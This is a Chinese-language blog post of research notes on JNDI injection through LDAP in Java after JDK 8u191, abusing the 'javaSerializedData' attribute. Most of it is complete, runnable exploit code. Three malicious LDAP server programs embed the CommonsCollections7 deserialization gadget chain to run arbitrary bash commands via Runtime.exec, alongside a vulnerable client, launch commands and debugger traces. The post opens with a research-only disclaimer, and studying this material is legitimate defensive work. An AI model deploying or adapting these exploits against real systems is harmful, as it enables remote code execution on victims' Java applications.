8u191之后的JNDI注入(LDAP)

「声明: 文中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。」

前言

本篇是[45]最后一小节的学习笔记,讲述8u191之后如何利用LDAP进行JNDI注入。简单点说,利用”javaSerializedData”属性,参[44]。

KINGX的方案是自己实现一个恶意LDAP服务,直接操作”javaSerializedData”属性。我对此方案有个新贡献,探索了正经程序员视角下的一种更易理解的攻击方案,使用标准LDAP服务,无需直接操作”javaSerializedData”属性,估计之前没人这么干过。

简版LDAP Server

Simple all-in-one LDAP server (wrapped ApacheDS)

https://github.com/kwart/ldap-server

$ vi jndi.ldif

dn: o=anything,dc=evil,dc=com
objectclass: top
objectclass: organization
o: anything

这是我瞎写的,不懂LDAP,不知道该怎么弄一个最简.ldif文件,至少这个能用。

java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

8u191之后的JNDI注入(LDAP)

参[45]。这个技术方案相当于有一方在ObjectInputStream.readObject(),另一方在ObjectOutputStream.writeObject(),后者是攻击者可控的,前者没有缺省过滤器。此时只受限于受害者一侧CLASSPATH中是否存在Gadget链的依赖库,对JDK没有版本要求。

参[74],后面的PoC用到了如下库:

unboundid-ldapsdk-3.1.1.jar
commons-collections-3.1.jar

0) VulnerableClient.java

/*
 * javac -encoding GBK -g VulnerableClient.java
 */
import javax.naming.*;

public class VulnerableClient
{
    public static void main ( String[] argv ) throws Exception
    {
        String  name    = argv[0];
        Context ctx     = new InitialContext();
        ctx.lookup( name );
    }
}

这是受漏洞影响的JNDI客户端。

1) EvilLDAPServer.java

参[45],这就是:

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java

我按自己的编程习惯稍做修改,如果Gadget链有变,改getObject()即可。

/*
 * javac -encoding GBK -g -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java
 */
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import java.net.*;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class EvilLDAPServer
{
    /*
     * ysoserial/CommonsCollections7
     */
    @SuppressWarnings("unchecked")
    private static Object getObject ( String cmd ) throws Exception
    {
        Transformer[]   tarray      = new Transformer[]
        {
            new ConstantTransformer( Runtime.class ),
            new InvokerTransformer
            (
                "getMethod",
                new Class[]
                {
                    String.class,
                    Class[].class
                },
                new Object[]
                {
                    "getRuntime",
                    new Class[0]
                }
            ),
            new InvokerTransformer
            (
                "invoke",
                new Class[]
                {
                    Object.class,
                    Object[].class
                },
                new Object[]
                {
                    null,
                    new Object[0]
                }
            ),
            new InvokerTransformer
            (
                "exec",
                new Class[]
                {
                    String[].class
                },
                new Object[]
                {
                    new String[]
                    {
                        "/bin/bash",
                        "-c",
                        cmd
                    }
                }
            )
        };
        Transformer     tchain      = new ChainedTransformer( new Transformer[0] );
        Map             normalMap_0 = new HashMap();
        Map             normalMap_1 = new HashMap();
        Map             lazyMap_0   = LazyMap.decorate( normalMap_0, tchain );
        Map             lazyMap_1   = LazyMap.decorate( normalMap_1, tchain );
        lazyMap_0.put( "scz", "same" );
        lazyMap_1.put( "tDz", "same" );
        Hashtable       ht          = new Hashtable();
        ht.put( lazyMap_0, "value_0" );
        ht.put( lazyMap_1, "value_1" );
        lazyMap_1.remove( "scz" );
        Field           f           = ChainedTransformer.class.getDeclaredField( "iTransformers" );
        f.setAccessible( true );
        f.set( tchain, tarray );
        return( ht );
    }

    /*
     * com.sun.jndi.ldap.Obj.serializeObject
     */
    private static byte[] serializeObject ( Object obj ) throws Exception
    {
        ByteArrayOutputStream   bos = new ByteArrayOutputStream();
        ObjectOutputStream      oos = new ObjectOutputStream( bos );
        oos.writeObject( obj );
        return bos.toByteArray();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor
    {
        String  cmd;

        public OperationInterceptor ( String cmd )
        {
            this.cmd    = cmd;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result )
        {
            String  base    = result.getRequest().getBaseDN();
            Entry   e       = new Entry( base );
            try
            {
                sendResult( result, base, e );
            }
            catch ( Exception ex )
            {
                ex.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception
        {
            e.addAttribute( "javaClassName", "foo" );
            e.addAttribute( "javaSerializedData", serializeObject( getObject( this.cmd ) ) );
            result.sendSearchEntry( e );
            result.setResult( new LDAPResult( 0, ResultCode.SUCCESS ) );
        }
    }

    private static void MiniLDAPServer ( String addr, int port, String cmd ) throws Exception
    {
        InMemoryDirectoryServerConfig   conf    = new InMemoryDirectoryServerConfig( "dc=evil,dc=com" );
        conf.setListenerConfigs
        (
            new InMemoryListenerConfig
            (
                "listen",
                InetAddress.getByName( addr ),
                Integer.valueOf( port ),
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                ( SSLSocketFactory )SSLSocketFactory.getDefault()
            )
        );
        conf.addInMemoryOperationInterceptor( new OperationInterceptor( cmd ) );
        InMemoryDirectoryServer         ds      = new InMemoryDirectoryServer( conf );
        ds.startListening();
    }

    public static void main ( String[] argv ) throws Exception
    {
        String  addr    = argv[0];
        int     port    = Integer.parseInt( argv[1] );
        String  cmd     = argv[2];
        MiniLDAPServer( addr, port, cmd );
    }
}

假设目录结构是:

.
|
+—test1
| EvilLDAPServer.class
| EvilLDAPServer$OperationInterceptor.class
| unboundid-ldapsdk-3.1.1.jar
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar

在test1目录执行:

java \
-cp “commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar:.” \
EvilLDAPServer 192.168.65.23 10388 “/bin/touch /tmp/scz_is_here”

在test2目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10388/dc=evil,dc=com \
VulnerableClient any

2) EvilServer5.java

EvilLDAPServer自己实现一个恶意LDAP服务,直接操作”javaSerializedData”属性。实际上有更容易理解的攻击方案,就用标准LDAP服务,只不过绑定恶意Object,背后的原理跟EvilLDAPServer一样。

/*
 * javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer5.java
 */
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import javax.naming.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

public class EvilServer5
{
    /*
     * ysoserial/CommonsCollections7
     */
    @SuppressWarnings("unchecked")
    private static Object getObject ( String cmd ) throws Exception
    {
        Transformer[]   tarray      = new Transformer[]
        {
            new ConstantTransformer( Runtime.class ),
            new InvokerTransformer
            (
                "getMethod",
                new Class[]
                {
                    String.class,
                    Class[].class
                },
                new Object[]
                {
                    "getRuntime",
                    new Class[0]
                }
            ),
            new InvokerTransformer
            (
                "invoke",
                new Class[]
                {
                    Object.class,
                    Object[].class
                },
                new Object[]
                {
                    null,
                    new Object[0]
                }
            ),
            new InvokerTransformer
            (
                "exec",
                new Class[]
                {
                    String[].class
                },
                new Object[]
                {
                    new String[]
                    {
                        "/bin/bash",
                        "-c",
                        cmd
                    }
                }
            )
        };
        Transformer     tchain      = new ChainedTransformer( new Transformer[0] );
        Map             normalMap_0 = new HashMap();
        Map             normalMap_1 = new HashMap();
        Map             lazyMap_0   = LazyMap.decorate( normalMap_0, tchain );
        Map             lazyMap_1   = LazyMap.decorate( normalMap_1, tchain );
        lazyMap_0.put( "scz", "same" );
        lazyMap_1.put( "tDz", "same" );
        Hashtable       ht          = new Hashtable();
        ht.put( lazyMap_0, "value_0" );
        ht.put( lazyMap_1, "value_1" );
        lazyMap_1.remove( "scz" );
        Field           f           = ChainedTransformer.class.getDeclaredField( "iTransformers" );
        f.setAccessible( true );
        f.set( tchain, tarray );
        return( ht );
    }

    public static void main ( String[] argv ) throws Exception
    {
        String  name    = argv[0];
        String  cmd     = argv[1];
        Object  obj     = getObject( cmd );
        Context ctx     = new InitialContext();
        ctx.rebind( name, obj );
        System.in.read();
    }
}

用LDAP Server做周知端口时,rebind()的内部实现就是将Object序列化后置于”javaSerializedData”属性中,lookup()则对”javaSerializedData”属性的值进行反序列化,就这么设计的。所以像EvilServer5.java这样编程,entry中天然会出现”javaSerializedData”属性,不需要奇技淫巧。

即使用javax.naming.directory.InitialDirContext,且ctx.rebind()时第三形参指定”javaSerializedData”属性,将来也会在com.sun.jndi.ldap.Obj.encodeObject()中用rebind()第二形参的序列化数据覆盖之。

不过,神奇的是,我碰上过这个错误提示:

More than one value has been provided for the single-valued attribute: javaSerializedData

动态调试发现有两个”javaSerializedData”属性出现,分别对应rebind()第二、三形参。正是调试该错误时发现com.sun.jndi.ldap.Obj.encodeObject(),从而找到EvilServer5的最简实现方式。可惜当时在调试分析的中间阶段,没有保留那个出错的测试用例,待我搞清楚来龙去脉后,再也无法复现同样的错误场景,遗憾。

2.0) 测试

假设目录结构是:

.
|
+—test0
| jndi.ldif
| ldap-server.jar
|
+—test1
| EvilServer5.class
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar

在test0目录执行:

java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

在test1目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer5 cn=any “/bin/touch /tmp/scz_is_here”

在test2目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any

2.1) 调试ctx.rebind()

调试EvilServer5:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer5 cn=any “/bin/touch /tmp/scz_is_here”

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in com.sun.jndi.ldap.Obj.encodeObject
stop at com.sun.jndi.ldap.Obj:173

[1] com.sun.jndi.ldap.Obj.encodeObject (Obj.java:173), pc = 271
[2] com.sun.jndi.ldap.Obj.determineBindAttrs (Obj.java:597), pc = 181
[3] com.sun.jndi.ldap.LdapCtx.c_bind (LdapCtx.java:411), pc = 45
[4] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:500), pc = 39
[5] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:464), pc = 5
[6] com.sun.jndi.toolkit.ctx.ComponentContext.p_rebind (ComponentContext.java:631), pc = 62
[7] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:223), pc = 29
[8] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:214), pc = 10
[9] javax.naming.InitialContext.rebind (InitialContext.java:433), pc = 7
[10] EvilServer5.main (EvilServer5.java:92), pc = 26

2.1.1) 简化版调用关系

参看:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/LdapCtx.javahttp://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java

InitialContext.rebind                                   // 8u232
  LdapCtx.c_rebind
    LdapCtx.c_rebind                                    // LdapCtx:464
      LdapCtx.c_bind                                    // LdapCtx:500
        Obj.determineBindAttrs                          // LdapCtx:411
          Obj.encodeObject                              // Obj:597
                                                        // convert the supplied object into LDAP attributes
            attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA],serializeObject(obj)))
                                                        // Obj:173
                                                        // 设置"javaSerializedData"属性
        attrs = addRdnAttributes(...)                   // LdapCtx:416
        answer = clnt.add(entry, reqCtls)               // LdapCtx:419
                                                        // com.sun.jndi.ldap.LdapClient.add()

如果ctx.rebind()碰上如下错误提示:

a) More than one value has been provided for the single-valued attribute: javaSerializedData
b) can only bind Referenceable, Serializable, DirContext

动态调试这个函数:

com.sun.jndi.ldap.Obj.encodeObject()

2.1.2) 相关源码

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java

/*
 * com.sun.jndi.ldap.Obj.encodeObject
 */
/**
 * Encode an object in LDAP attributes.
 * Supports binding Referenceable or Reference, Serializable,
 * and DirContext.
 *
 * If the object supports the Referenceable interface then encode
 * the reference to the object. See encodeReference() for details.
 *<p>
 * If the object is serializable, it is stored as follows:
 * javaClassName
 *   value: Object.getClass();
 * javaSerializedData
 *   value: serialized form of Object (in binary form).
 * javaTypeName
 *   value: getTypeNames(Object.getClass());
 */
private static Attributes encodeObject(char separator,
    Object obj, Attributes attrs,
    Attribute objectClass, boolean cloned)
    throws NamingException {
        boolean structural =
            (objectClass.size() == 0 ||
                (objectClass.size() == 1 && objectClass.contains("top")));

        if (structural) {
            objectClass.add(JAVA_OBJECT_CLASSES[STRUCTURAL]);
        }

// References
        if (obj instanceof Referenceable) {
            objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]);
            objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]);
            if (!cloned) {
                attrs = (Attributes)attrs.clone();
            }
            attrs.put(objectClass);
            return (encodeReference(separator,
                ((Referenceable)obj).getReference(),
                attrs, obj));

        } else if (obj instanceof Reference) {
            objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]);
            objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]);
            if (!cloned) {
                attrs = (Attributes)attrs.clone();
            }
            attrs.put(objectClass);
            return (encodeReference(separator, (Reference)obj, attrs, null));

// Serializable Object
        } else if (obj instanceof java.io.Serializable) {
            objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]);
            if (!(objectClass.contains(JAVA_OBJECT_CLASSES[MAR_OBJECT]) ||
                objectClass.contains(JAVA_OBJECT_CLASSES_LOWER[MAR_OBJECT]))) {
                objectClass.add(JAVA_OBJECT_CLASSES[SER_OBJECT]);
            }
            if (!cloned) {
                attrs = (Attributes)attrs.clone();
            }
            attrs.put(objectClass);
/*
 * 173行,设置"javaSerializedData"属性
 */
            attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA],
                serializeObject(obj)));
            if (attrs.get(JAVA_ATTRIBUTES[CLASSNAME]) == null) {
                attrs.put(JAVA_ATTRIBUTES[CLASSNAME],
                    obj.getClass().getName());
            }
            if (attrs.get(JAVA_ATTRIBUTES[TYPENAME]) == null) {
                Attribute tAttr =
                    LdapCtxFactory.createTypeNameAttr(obj.getClass());
                if (tAttr != null) {
                    attrs.put(tAttr);
                }
            }
// DirContext Object
        } else if (obj instanceof DirContext) {
            // do nothing
        } else {
/*
 * 190行
 */
            throw new IllegalArgumentException(
        "can only bind Referenceable, Serializable, DirContext");
        }
        //      System.err.println(attrs);
        return attrs;
}

2.2) 调试ctx.lookup()

调试VulnerableClient:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in java.lang.Runtime.exec(java.lang.String[])

[1] java.lang.Runtime.exec (Runtime.java:485), pc = 0
[2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
[3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
[4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
[5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
[6] org.apache.commons.collections.functors.InvokerTransformer.transform (InvokerTransformer.java:125), pc = 30
[7] org.apache.commons.collections.functors.ChainedTransformer.transform (ChainedTransformer.java:122), pc = 12
[8] org.apache.commons.collections.map.LazyMap.get (LazyMap.java:151), pc = 18
[9] java.util.AbstractMap.equals (AbstractMap.java:495), pc = 118
[10] org.apache.commons.collections.map.AbstractMapDecorator.equals (AbstractMapDecorator.java:129), pc = 12
[11] java.util.Hashtable.reconstitutionPut (Hashtable.java:1,241), pc = 55
[12] java.util.Hashtable.readObject (Hashtable.java:1,215), pc = 228
[13] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
[14] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
[15] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
[16] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
[17] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24
[18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119
[19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183
[20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401
[21] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19
[22] com.sun.jndi.ldap.Obj.deserializeObject (Obj.java:531), pc = 38
[23] com.sun.jndi.ldap.Obj.decodeObject (Obj.java:239), pc = 52
[24] com.sun.jndi.ldap.LdapCtx.c_lookup (LdapCtx.java:1,051), pc = 164
[25] com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup (ComponentContext.java:542), pc = 81
[26] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:177), pc = 26
[27] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:166), pc = 9
[28] javax.naming.InitialContext.lookup (InitialContext.java:417), pc = 6
[29] VulnerableClient.main (VulnerableClient.java:12), pc = 14

2.2.1) 简化版调用关系

参看:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/LdapCtx.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java

InitialContext.lookup                               // 8u232
  LdapCtx.c_lookup
    LdapResult answer = doSearchOnce()              // LdapCtx:1027
                                                    // 向LDAP Server查询
    attrs = entry.attributes                        // LdapCtx:1047
                                                    // 取entry的所有属性
    if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null)
                                                    // LdapCtx:1049
                                                    // 检查entry的"javaClassName"属性
                                                    // 本例中是"java.util.Hashtable"
    Obj.decodeObject                                // LdapCtx:1051
      attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])
                                                    // Obj:237
                                                    // 取"javaSerializedData"属性
      Obj.deserializeObject                         // Obj:239
                                                    // 对byte[]进行反序列化
        ObjectInputStream.readObject                // Obj:531
          Hashtable.readObject                      // ysoserial/CommonsCollections7
            Hashtable.reconstitutionPut
              AbstractMapDecorator.equals
                AbstractMap.equals
                  LazyMap.get                       // 此处开始LazyMap利用链
                    ChainedTransformer.transform
                      InvokerTransformer.transform
                        Runtime.exec

这种攻击方案相当于受害者调ObjectInputStream.readObject()反序列化攻击者可控数据,没有缺省过滤器。此时,只要求受害者一侧有Gadget链依赖库,没有其他限制。

3) EvilServer6.java

参[39],Alvaro Munoz在议题中给了点代码片断:

System.out.println("Poisoning LDAP user");
BasicAttribute mod1 = new BasicAttribute("javaCodebase",attackerURL));
BasicAttribute mod2 = new BasicAttribute("javaClassName","DeserPayload"));
BasicAttribute mod3 = new BasicAttribute("javaSerializedData", serializedBytes));
ModificationItem[] mods = new ModificationItem[3];
mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);
mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);
mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3);
ctx.modifyAttributes("uid=target,ou=People,dc=example,dc=com", mods);

他调用的是:

javax.naming.directory.InitialDirContext.modifyAttributes(String,ModificationItem[])

我觉得他绕了大弯路,完全没必要,EvilServer5.java就是最简形式。不过我好奇心很重,基于他这个片断写了EvilServer6.java。

/*
 * javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer6.java
 */
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import javax.naming.directory.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

public class EvilServer6
{
    /*
     * ysoserial/CommonsCollections7
     */
    @SuppressWarnings("unchecked")
    private static Object getObject ( String cmd ) throws Exception
    {
        Transformer[]   tarray      = new Transformer[]
        {
            new ConstantTransformer( Runtime.class ),
            new InvokerTransformer
            (
                "getMethod",
                new Class[]
                {
                    String.class,
                    Class[].class
                },
                new Object[]
                {
                    "getRuntime",
                    new Class[0]
                }
            ),
            new InvokerTransformer
            (
                "invoke",
                new Class[]
                {
                    Object.class,
                    Object[].class
                },
                new Object[]
                {
                    null,
                    new Object[0]
                }
            ),
            new InvokerTransformer
            (
                "exec",
                new Class[]
                {
                    String[].class
                },
                new Object[]
                {
                    new String[]
                    {
                        "/bin/bash",
                        "-c",
                        cmd
                    }
                }
            )
        };
        Transformer     tchain      = new ChainedTransformer( new Transformer[0] );
        Map             normalMap_0 = new HashMap();
        Map             normalMap_1 = new HashMap();
        Map             lazyMap_0   = LazyMap.decorate( normalMap_0, tchain );
        Map             lazyMap_1   = LazyMap.decorate( normalMap_1, tchain );
        lazyMap_0.put( "scz", "same" );
        lazyMap_1.put( "tDz", "same" );
        Hashtable       ht          = new Hashtable();
        ht.put( lazyMap_0, "value_0" );
        ht.put( lazyMap_1, "value_1" );
        lazyMap_1.remove( "scz" );
        Field           f           = ChainedTransformer.class.getDeclaredField( "iTransformers" );
        f.setAccessible( true );
        f.set( tchain, tarray );
        return( ht );
    }

    /*
     * com.sun.jndi.ldap.Obj.serializeObject
     */
    private static byte[] serializeObject ( Object obj ) throws Exception
    {
        ByteArrayOutputStream   bos = new ByteArrayOutputStream();
        ObjectOutputStream      oos = new ObjectOutputStream( bos );
        oos.writeObject( obj );
        return bos.toByteArray();
    }

    public static void main ( String[] argv ) throws Exception
    {
        String              name    = argv[0];
        String              cmd     = argv[1];
        Object              obj     = getObject( cmd );
        String              sth     = "";
        Attribute           attr    = new BasicAttribute( "javaSerializedData", serializeObject( obj ) );
        ModificationItem[]  mods    = new ModificationItem[1];

        mods[0] = new ModificationItem( DirContext.REPLACE_ATTRIBUTE, attr );

        DirContext          ctx     = new InitialDirContext();
        /*
         * com.sun.jndi.ldap.Obj.encodeObject(Obj.java:190)
         *
         * can only bind Referenceable, Serializable, DirContext
         */
        ctx.rebind( name, sth, null );
        ctx.modifyAttributes( name, mods );
        System.in.read();
    }
}

EvilServer6的网络通信比EvilServer5多,modifyAttributes()会产生新的网络通信。

假设目录结构是:

.
|
+—test0
| jndi.ldif
| ldap-server.jar
|
+—test1
| EvilServer6.class
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar

在test0目录执行:

java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

在test1目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer6 cn=any “/bin/touch /tmp/scz_is_here”

在test2目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any

参考资源

[39] A Journey From JNDI LDAP Manipulation To RCE – Alvaro Munoz, Oleksandr Mirosh [2016-08-02]

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

[44] LDAP Directories

https://docs.oracle.com/javase/jndi/tutorial/objects/representation/ldap.html

(提到javaSerializedData)

[45] 如何绕过高版本JDK的限制进行JNDI注入利用 – KINGX [2019-06-03]

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo

[74]

https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/

https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/unboundid-ldapsdk-3.1.1.jar

Spread the word. Share this post!

Meet The Author

C/ASM程序员

Leave Comment